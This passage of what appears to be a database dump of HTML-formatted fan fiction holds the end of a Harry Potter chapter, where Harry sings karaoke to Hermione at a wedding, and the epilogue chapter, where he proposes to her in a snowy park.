hundred times</p>\n\n<p class="MsoNormal">I&#8217;ve even seen\nmiracles </p>\n\n<p class="MsoNormal">I&#8217;ve felt the\npain disappear</p>\n\n<p class="MsoNormal">But still haven&#8217;t\nseen anything</p>\n\n<p class="MsoNormal">That amazes me\nquite like you do</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stepped\nout of the bathroom, holding the door for the next person waiting. She said hi\nto a few of her old friends from school as she made her way back out to the\nmain floor. For some reason everyone seemed to be paying rapt attention to the\nperson singing at the karaoke machine, who was just awful.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s going\non?&#8221; she asked Susan, who was snuggled in Ron&#8217;s embrace and giggling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Where have you\nbeen?&#8221; she asked, grabbing her best friend and spinning her around to face the\nstage. &#8220;Didn&#8217;t you realize who that is up there?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">You bring me up\nwhen I&#8217;m` feeling down </p>\n\n<p class="MsoNormal">You touch me deep\nyou me right </p>\n\n<p class="MsoNormal">You do the things\nI&#8217;ve never done </p>\n\n<p class="MsoNormal">You make me\nwicked you make me wild </p>\n\n<p class="MsoNormal">`Cause Hermione,\nyou&#8217;re my #1</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">An extremely\nlarge smile spread across her face as she realized what Harry was doing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;ve sailed in a\nperfect dream </p>\n\n<p class="MsoNormal">I&#8217;ve seen the sun\nmake love to the sea </p>\n\n<p class="MsoNormal">I&#8217;ve kissed the\nmoon a million times</p>\n\n<p class="MsoNormal">Danced with\nangels in the sky</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was proving\nhimself. A crowd of females of all ages had packed themselves around the stage,\nand were screaming in approval. Many of the older people present were standing\naway, with their hands over their ears. Hermione began to push her way through\nthe crowd, shoving people aside. What did she care if they fell, it was her\nHarry was singing to, not them. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;ve even seen\nmiracles </p>\n\n<p class="MsoNormal">I&#8217;ve seen the\ntears disappear</p>\n\n<p class="MsoNormal">But still haven&#8217;t\nseen anything</p>\n\n<p class="MsoNormal">That amazes me\nquite like you do</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione cringed\na bit as she pushed her way in more; Harry was hitting some high notes and it\nwas clear he was not cut out for those. One particularly annoying group of\ngiggly teenagers were blocking her path now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Move it.&#8221;\nHermione commanded, pushing one aside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221; one of\nthem spoke angrily. &#8220;Who the hell do you think you are?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She gave the girl\na superior smile. &#8220;I&#8217;m Hermione.&#8221; She answered, pushing her way past. She\nducked into the shadows of the stage and waited for him to finish.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">You bring me up\nwhen I&#8217;m` feeling down </p>\n\n<p class="MsoNormal">You touch me deep\nyou me right </p>\n\n<p class="MsoNormal">You do the things\nI&#8217;ve never done </p>\n\n<p class="MsoNormal">You make me\nwicked you make me wild </p>\n\n<p class="MsoNormal">`Cause Hermione,\nyou&#8217;re my #1&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry finished\nthe song and all of a sudden, what seemed like a million flashbulbs went off in\nhis face. &#8220;Ack!&#8221; he shouted. &#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She shook her\nhead and grinned. Grabbing his hand, Hermione yanked Harry from the spotlight\nand flashbulbs and back to the shadowy area.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That was just\nhorrible you know.&#8221; She said with as straight a face as she could manage. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I didn&#8217;t\nhave any warm up time.&#8221; Harry quipped back. &#8220;I could go out there and sing a\nfew more, it seems I have a lot of fans.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;None as big a\nfan as me, Potter.&#8221; Hermione replied, unable to stop her grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned\nback and tossed away the microphone, the dull thud ringing throughout the hall.\n&#8220;So does this mean you&#8217;ve forgiven me?&#8221; he asked, tracing a line down her\ncheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I already\nforgave you earlier.&#8221; Hermione said, she didn&#8217;t want to talk anymore she wanted\nto feel his lips on hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Does this mean\nyou trust me again?&#8221; he asked, nearing her mouth a little more.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We&#8217;re getting\nthere.&#8221; Hermione replied as their lips lightly brushed each other&#8217;s. &#8220;Now shut\nup and kiss me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry needed no\nfurther urging. He sealed his mouth over hers as someone grabbed the spotlight\nand yanked it up to reveal the two of them. Neither one noticed or cared as\nthey kissed frantically. Harry&#8217;s tongue was plundering through her mouth so\nhard she figured her lips would be bruised but she didn&#8217;t care.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron groaned. &#8220;You\nknow, it&#8217;d just figure that she&#8217;d be the one snogging him.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan grinned at\nher husband. &#8220;You sound jealous Ron, are you sure it&#8217;s not you who wants to be\nsnogging Harry Potter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh you&#8217;re so\nfunny aren&#8217;t you Sue?&#8221; Ron smirked, and she could tell he really wasn&#8217;t angry.\n&#8220;When are we going to start the honeymoon?&#8221; he whispered licentiously in her\near.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Soon enough\nRonald.&#8221; Susan said, slapping his wandering hands away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and\nHermione broke apart several minutes later and grinned at each other. The\nspotlight was gone, and most everyone had gone back to dancing. Hermione kept a\ntight hold on his hand as they left the rear of the stage and wove their way to\nthe back of the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nice, Hermione.&#8221;\nRon said. &#8220;Why couldn&#8217;t you do this at your own wedding hmm?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shut up Ron.&#8221;\nHermione said, but she smiled at him. She wasn&#8217;t really mad. How could she be?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey Hermione,\ncan you get Lavender and meet me outside in the back?&#8221; Susan asked some time\nlater.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure, why?&#8221;\nHermione replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll explain\nwhen we get out there.&#8221; Susan&#8217;s eyes were bright and her cheeks flushed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione saw her\ncousin sitting near the back of the room talking to some old classmates. &#8220;Hey\nLav? Susan wants us to come outside.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;\nLavender said, excusing herself. Susan was already outside with a bottle of\nchampagne and three slim glasses.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I thought we&#8217;d\nhave a moment for just the three of us.&#8221; Susan said, filling the flutes. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good idea.&#8221;\nHermione agreed, accepting the glass and leaning against the railing. &#8220;What a\nnight!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You can say that\nagain.&#8221; Lavender teased. &#8220;Which one of you will get luckier tonight I wonder?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione and\nSusan both laughed at her and all three of them raised their glasses.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A toast&#8230;to us,\nthat we&#8217;ve stayed friends for so long and we always will.&#8221; Lavender said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A toast that we\nall be happy with the choices we make, in life and love.&#8221; Hermione added.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan thought a\nminute. &#8220;And to Leonora&#8230;and whatever it is she puts in that damned pizza!&#8221; she\nfinished. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">All three girls\ncollapsed in laughter, the sound bouncing off the walls and into the night.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: AWWWW well\nthey finally did it eh? And H/Hr are back together, and Lavender&#8217;s feeling\nbetter about the whole Henry situation&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two songs I\nused in this are &#8216;My Baby You&#8217; by Mark Anthony, and You&#8217;re My # 1 by Enrique\nIglesias&#8230;. although I changed the lyrics just a tad ;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Well according to\nthe movie this story is OVER&#8230;but since I think there are some major loose ends,\nthe next chapter has an epilogue.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Please R/R, and\nI&#8217;ll see you all next chapter! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(88, 19, '\n\n\n\n\n\n<br style="page-break-before:always" clear="all">\n\n\n<p class="MsoNormal">Chapter 19</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Wow! I cant&#8217;\nbelieve this is already the last chapter, sometimes I feel like I just started\nwriting this story!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks to EACH\nand EVERY person who reviewed! All your comments meant a lot to me, and it\nhelps to see all those things while I was writing the next chapter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There won&#8217;t be a\nsequel to this, at least not anytime in the immediate future, but please make\nsure to read my other fics, and Ryoko&#8217;s, and of course, the ones she and I are\nwriting together!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I hope you enjoy\nthe epilogue; it pretty much winds up everything that has happened to the\ncharacters in the year after the wedding. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Please remember\nthat fact, that it&#8217;s a year later!!!!! Ron and Susan got married at the end of\nNovember and it&#8217;s now early January of the year after.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I really hope\nRon and Susan get over here soon, we&#8217;ve got to get going in just a little\nwhile.&#8221; Lavender said, glancing at her watch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sure they&#8217;ll\nbe here soon enough.&#8221; Hermione reassured her. &#8220;Besides,&#8221; she added in a low\nvoice. &#8220;I know the only reason you&#8217;re anxious to get back is so that you and\nSeamus&#8230;&#8221; she let her voice trail off suggestively.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221;\nLavender said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Hermione\nasked, the picture of innocence. &#8220;You and he have been dating for about a year\nnow, and you told me you&#8217;ve been sleeping with him for six months&#8230;you&#8217;ve been\nhome for two weeks, only one of which he&#8217;s been here for&#8230;you&#8217;ve got to be\nhungry for him by now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honestly!&#8221;\nLavender swatted her cousin on the arm, but she was grinning. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really though\nLav,&#8221; Hermione said. &#8220;I&#8217;m glad you&#8217;ve found someone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks\nHermione.&#8221; Lavender replied. &#8220;Seamus is so&#8230;. sweet to me, I love him so much.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you scared,\nyou know, of falling in love like that again?&#8221; Hermione asked carefully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender sighed.\n&#8220;I was, at first. And I almost lost him, you know that.&#8221; Hermione nodded and\nLavender continued. &#8220;But then he came into my dormitory one night, he had\nflowers, candles and champagne, and he sat right down and told me that we were\ngoing to talk out everything that was wrong, and we did.&#8221; Lavender hugged\nherself, remembering that night. &#8220;I knew I was in love with him, and he&#8217;s never\ngiven me any reason to doubt my feelings.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Awww.&#8221; Hermione\nsaid, giving her cousin a hug. &#8220;That&#8217;s wonderful, I&#8217;m really happy for you\nguys!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you ready\nsoon, Lavender?&#8221; Seamus&#8217;s Irish accent preceded him into the room. He smiled at\nboth girls as he wrapped his arms around his girlfriend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Soon, I want to\nwait for Ron and Susan to get here so I can see them before we leave.&#8221; Lavender\nreplied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Seamus kissed her\nsoftly on the cheek. &#8220;Well you just let me know then, love.&#8221; He said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah- wait I think\nthat&#8217;s them now.&#8221; Hermione said, going into the hallway. Sure enough, Ron and\nSusan were staggering up the steps to the front door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry we&#8217;re\nlate!&#8221; Susan called in. Hermione swooped in on them immediately.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You brought my\nbaby!&#8221; She cried, grabbing the pink bundle from Ron&#8217;s arms. When they&#8217;d had\ntheir baby three months ago, Hermione had doted on it from the start, and had\ndeveloped a real bond with the little girl.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know,\nsometimes I think we should just leave her with you.&#8221; Ron said sarcastically,\nbut he was grinning. It was clear to everyone when little Sara Elisabeth\nWeasley was born just how thrilled Ron was to be a father. &#8220;If you had to wake\nup in the middle of the night three or more times I&#8217;m sure you&#8217;d think\ndifferently.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, never!&#8221;\nHermione answered, peeling back the blanket and kissing Sara&#8217;s little face. &#8220;As\nher godmother, I reserve the right to spoil her and I&#8217;m starting now!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Susan grinned as\nshe took the blanket. &#8220;Her hair is starting to grow in already too.&#8221; She said,\nstroking the soft patch of red on her baby&#8217;s head while leaning down to kiss\nit. Being a mother, as she had found out, was one of the greatest pleasures of\nher life. If Susan had known it would be this good, she&#8217;d have married Ron the\nmoment she met him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let me say bye\nto her.&#8221; Lavender said, holding out her arms for Sara. &#8220;It&#8217;ll be months before\nI get to see her again.&#8221; Hermione carefully passed the infant over.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can&#8217;t I persuade\nyou guys to make me the godmother instead of Hermione?&#8221; Lavender teased,\nkissing Sara&#8217;s peach coloured face. &#8220;What if you don&#8217;t have a second kid for me\nto fuss over?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you\nforgetting that Ron is a Weasley?&#8221; Susan said, smiling. &#8220;He comes from good\nstock. A Weasley never has just one child.&#8221; They all laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I suppose we\nshould get going.&#8221; Lavender said reluctantly. She was definitely eager to get\nback to school, but she hated leaving home. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ready when you\nare.&#8221; Seamus said. Hermione stepped forward to hug him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It was wonderful\nmeeting you, Seamus. You take care of my cousin now.&#8221; She teased. Seamus\ngrinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wouldn&#8217;t dare\nface your wrath otherwise.&#8221; He joked. Hermione laughed, and Susan hugged him as\nwell; Ron opted for shaking his hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender hugged\nher cousin extra tightly. &#8220;You and Harry are coming for a visit soon right?&#8221;\nshe asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded.\n&#8220;We&#8217;ll come by in March, I think.&#8221; She replied. &#8220;I&#8217;m seeing him in just a\nlittle while, I&#8217;ll make sure to ask him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;\nLavender said. &#8220;Bye everyone!&#8221; she said as she and Seamus stepped into the\nfireplace, they were taking the Floo Network back to the University. Seamus\nspoke the name of Lavender&#8217;s dormitory and they were gone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked\nat the clock, which said &#8216;Running Late&#8217;. &#8220;Oh bugger, I have to dash, I&#8217;m\nsupposed to be meeting Harry at the park right now.&#8221; She said, flying to the\nhallway. &#8220;I&#8217;ll be back in a while if you guys want to stick around.&#8221; She\noffered, tossing her cloak around her body.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nah, we were\nheading over to Molly and Arthur&#8217;s for the rest of today, they want to spend as\nmuch time as they can with Sara.&#8221; Susan said, wrapping her daughter back up in\nthe blanket. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;\nHermione grinned. &#8220;Sorry to run off like this.&#8221; She apologised as she swept out\nthe door. The park was about fifteen minutes away from her house and she felt\nbad she would be late, but then again, Harry often was as well so neither of\nthem ever thought much of it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A large grin\ncrossed her face as she thought about her relationship with Harry. Over the\npast year, since Ron and Susan&#8217;s wedding, they had gotten closer than ever. At\nher insistence, he had finally worked out most, if not all his differences with\nhis father, and was now co captaining Puddlemere with Oliver. She and Jenn had\nbecome quite close as well; they both sat together cheering their heads off at\nevery Quidditch game.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A cold gust of\nwind made her pull her cloak more tightly around herself and look forward to\nbeing wrapped in Harry&#8217;s warm embrace once she arrived. Hermione tucked her\nhead against the wind and hurried on. When she finally got to the park, she was\nsurprised to see the amount of people milling around. Usually on cold grey days\nsuch as this one no one in town was outside. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione spotted\nHarry sitting on a bench, his back to her. He seemed to be hunched over, she\nfigured he was probably freezing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey you!&#8221; she\nsaid, swooping down on him and immediately pressing herself against him for\nwarmth. &#8220;I&#8217;m sorry I&#8217;m late.&#8221; Hermione went to kiss him but he turned his head\nand she found her lips on his cheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi&#8230;uh&#8230;can we\ntalk?&#8221; Harry turned to face his girlfriend of about a year and a half. His\ninsides were churning with nervousness and anticipation at her reaction of what\nhe was about to say to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; She said.\nHe took her hand in hers as they got off the bench and began walking slowly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;so&#8230;. I\nuh&#8230;I&#8217;ve been doing a lot of thinking lately&#8230;.&#8221; Harry said; he could feel his\npalms going sweaty despite the frigid air. &#8220;We&#8217;ve uh&#8230;we&#8217;ve been dating for a\nlong time right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right&#8230;&#8221; Hermione\nanswered hesitantly. &#8216;Where was he planning on going with this?&#8217; she thought to\nherself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221; Harry\nstarted talking again. &#8220;So you understand right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No&#8230;&#8221; Hermione\nsaid. &#8220;What are you getting at?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh right.&#8221; Harry\npulled his hand from hers and rubbed them together. &#8220;So&#8230;I&#8217;ve been doing a lot\nof thinking lately&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes you said\nthat already.&#8221; Hermione said, a small ball of fear beginning to grow in her\nstomach.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And&#8230;.&#8221; Harry\npaused, trying to remember how he wanted to phrase this. &#8216;Damn it Potter, you\nhad this all planned last night and now you go and forget it.&#8217; He took a deep\nbreath. &#8220;I&#8217;m just not satisfied with the way our relationship is going.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt\nherself grow pale. &#8220;What do you mean, you&#8217;re not satisfied?&#8221; her voice came out\nas a tiny squeak.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No! I uh&#8230;I meant\nthat I just can&#8217;t keep on like this.&#8221; Harry said hastily. Her eyes grew wide\nand he realised once again he&#8217;d said the wrong thing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look Harry, if\nyou&#8217;re trying to say something just spit it out!&#8221; her large brown eyes were\ngoing shiny.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230;I uh&#8230;&#8221;\nHarry fumbled around in his cloak pocket. &#8216;Shit Potter, just do it, stop making\nan ass of yourself!&#8217; his mind screamed. &#8220;I&#8217;m just going to say it all right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine!&#8221; Hermione\nsaid, trembling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He felt around\nuntil his fingers came in contact with what he was looking for. Dropping\nquickly to one knee, he held the box in front of her. &#8220;Marry me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stared\nat him for a few long moments, her mind reeling. &#8220;What?&#8221; she asked uncertainly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Marry me?&#8221; this\ntime it came out as more of a question than a statement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8230;you&#8230;JERK!&#8221;\nHermione screamed, attracting the attention of many park goers as she pushed\nhim over. &#8220;How could you do that to me?&#8221; she asked, turning on her heel to\nstorm away. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; Harry\ncalled out, trying to get up, it was difficult; the snow was slippery. &#8220;Wait,\nHermione!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She stopped in\nher tracks and turned as he came up to her. &#8220;What?&#8221; she asked, still trying to\ncalm her wildly beating heart. &#8220;Come to make an ass of yourself again have\nyou?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No&#8230;look\nHermione, that didn&#8217;t come out right at all.&#8221; Harry pleaded. &#8220;I had this whole\nspeech planned last night and everything&#8230;and I forgot it all as soon as I came\nhere today.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You scared the\nshit out of me!&#8221; Hermione said, turning back away. &#8220;I thought you were breaking\nup with me.&#8221; She didn&#8217;t want him to see the tears that were now falling down\nher face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She was walking\nagain, and this time it didn&#8217;t look like she intended to stop. Harry quickly\nthought of something; he dropped back to one knee and opened his arms as wide\nas he could.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I NEED YOU!&#8221; he\nsang at the top of his lungs. &#8220;FOR THE REST OF MY LIFE GIRL! I NEED YOU!&#8221; many\nof the people had now stopped and were staring at him. &#8220;SAY THAT YOU&#8217;LL BE MY\nWIFE OH! I LOVE YOU!!&#8221; Hermione had stopped now and turned to watch him again.\n&#8220;WON&#8217;T YOU MARRY ME MARRY ME! I NEED YOU!&#8221; Before he could get any more of it\nout, he was knocked back down in the snow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you really\nthink I&#8217;m going to come back to you every time you sing something?&#8221; Hermione\nasked, grinning tearfully down at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It seems to have\nworked again.&#8221; He smirked back up at her. She pushed herself off him and he got\nback on one knee. &#8220;Marry me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Two conditions.&#8221;\nHermione said, her eyes sparkling, this time with happiness.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What might those\nbe?&#8221; Harry asked softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;One, you don&#8217;t\nsing anymore, please.&#8221; She joked. He laughed. &#8220;And two, I&#8217;d like to see that\nring before I go accepting any marriage proposals.&#8221; Her grin was wide enough\nfor Harry to see she was only giving him a hard time now. He flipped the box\nopen for her to see a large diamond surrounded by gleaming, shiny rubies.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stood up,\nremoving the ring from the box. &#8220;The diamond explains itself, but the ruby\nstands for passion and love.&#8221; He slipped it over her ring finger. &#8220;No one will\never love you as much as I do.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes\nfilled with tears again. &#8220;Harry that was better than any speech you could ever\nhave planned.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So that&#8217;s a\nyes?&#8221; he asked, his green eyes bright.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Merlin&#8217;s Beard,\nthat&#8217;s a hell yes!&#8221; she cried, leaping into his arms. Harry laughed and swung\nher around.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You had me\nworried there.&#8221; He joked, wiping her tears away with his 